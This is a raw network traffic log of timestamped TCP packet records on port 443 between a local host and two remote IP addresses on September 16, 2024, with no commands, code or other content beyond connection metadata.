Sep 16, 2024 08:23:29.014483929 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.014499903 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.014595985 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.014605045 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.014678955 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114367008 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114382982 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114397049 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114401102 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114500999 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114507914 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114552975 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114558935 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114573002 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114593029 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114597082 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114623070 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114631891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114636898 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114643097 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114654064 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114660025 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114696980 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114701986 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114741087 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114777088 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114819050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114825964 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.114867926 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114896059 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.114950895 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.167490959 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.167834044 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.182496071 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.182562113 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.182598114 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.182636023 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.182687044 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207113028 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207170963 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207230091 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207252979 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207293034 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207310915 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207339048 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207376957 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207376957 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207422018 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207453966 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207484961 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207495928 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207537889 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207582951 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207582951 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207600117 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207631111 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207698107 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207698107 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207698107 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207714081 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207777977 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207791090 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.207825899 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207854033 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.207881927 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.323419094 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.323880911 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.415429115 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.415854931 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.459564924 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.459583998 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.459599018 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.459712029 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.459718943 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.459728003 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.459747076 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.459768057 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.459790945 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.459790945 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.459870100 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.459877968 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.459958076 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.667408943 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.667840958 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.759401083 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.759871960 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.762625933 CEST	49756	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:29.762681961 CEST	443	49756	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:29.762767076 CEST	49756	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:29.784025908 CEST	49756	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:29.784048080 CEST	443	49756	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:29.784153938 CEST	443	49756	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:29.851402044 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:29.851852894 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.909945011 CEST	49757	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:29.910033941 CEST	443	49757	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:29.910139084 CEST	49757	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:29.927346945 CEST	49757	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:29.927401066 CEST	443	49757	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:29.927496910 CEST	443	49757	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:30.111408949 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.111521006 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.238917112 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.238933086 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.238944054 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.238953114 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.239018917 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.239023924 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.239033937 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.239142895 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.239147902 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.239160061 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.239164114 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.239260912 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.239309072 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.376566887 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.376629114 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.376660109 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.376709938 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.376728058 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.376779079 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.376816988 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.443406105 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.443459988 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.583442926 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.583513021 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.687393904 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.687469006 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.707585096 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.707614899 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707638979 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707673073 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707706928 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.707720995 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707766056 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.707779884 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707808971 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707833052 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.707844019 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707868099 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707890987 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.707907915 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707933903 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707958937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.707958937 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.707973957 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.707998037 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.708038092 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.708049059 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.708077908 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.708090067 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.708143950 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.708208084 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.857202053 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.857254028 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.857285023 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.857345104 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.857400894 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.879409075 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.879492044 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.915482998 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.915580988 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925127029 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925144911 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925177097 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925199986 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925266981 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925282955 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925303936 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925342083 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925370932 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925451994 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925466061 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925494909 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925529957 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925553083 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925576925 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925594091 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925663948 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925678015 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925723076 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:30.925791979 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925791979 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:30.925864935 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.131412983 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.132041931 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.270556927 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.270572901 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270584106 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270642996 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.270647049 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270657063 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270659924 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270714045 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.270719051 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270760059 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.270762920 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270782948 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270788908 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270816088 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.270819902 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.270891905 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.270932913 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.355434895 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.355536938 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362062931 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362124920 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362163067 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362205982 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362240076 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362277031 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362288952 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362318993 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362329006 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362350941 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362396955 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362411022 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362462044 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362478018 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362551928 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362551928 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362571955 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.362643957 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.362713099 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.475416899 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.475478888 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.551409960 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.551506042 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.567445993 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.567548990 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.899408102 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.899485111 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:31.995445967 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:31.995745897 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.187441111 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.187887907 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.383410931 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.383867979 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.731410980 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.731518984 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.827429056 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.827872038 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.888297081 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.888324976 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888340950 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888386965 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.888394117 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888418913 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.888421059 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888432026 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888444901 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.888448954 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888458967 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888489008 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.888493061 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888506889 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888514042 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888519049 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.888523102 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.888567924 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.888606071 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.956182957 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.956239939 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.956279039 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.956317902 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.956335068 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:32.956367016 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:32.956387997 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.060825109 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.060851097 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.060878038 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.060921907 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.060955048 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.061000109 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.061000109 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.061017036 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.061044931 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.061068058 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.061095953 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.061119080 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.061132908 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.061180115 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.061220884 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.061220884 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.061235905 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.061295033 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.061297894 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.061327934 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.061448097 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.082448959 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.082520008 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.082552910 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.082590103 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.082622051 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.089745998 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.089788914 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.089822054 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.089870930 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.089886904 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.089920044 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.089931011 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.089958906 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.089987040 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.089987040 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090003014 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090064049 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090064049 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090078115 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090109110 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090135098 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090166092 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090204000 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090215921 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090245962 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090286016 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090301991 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090353012 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090393066 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090393066 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090394020 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090409040 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090432882 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090495110 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090509892 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090552092 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090600014 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090600014 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090637922 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090653896 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090699911 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090703964 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090725899 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090764046 CEST	443	49734	185.199.109.133	192.168.2.5
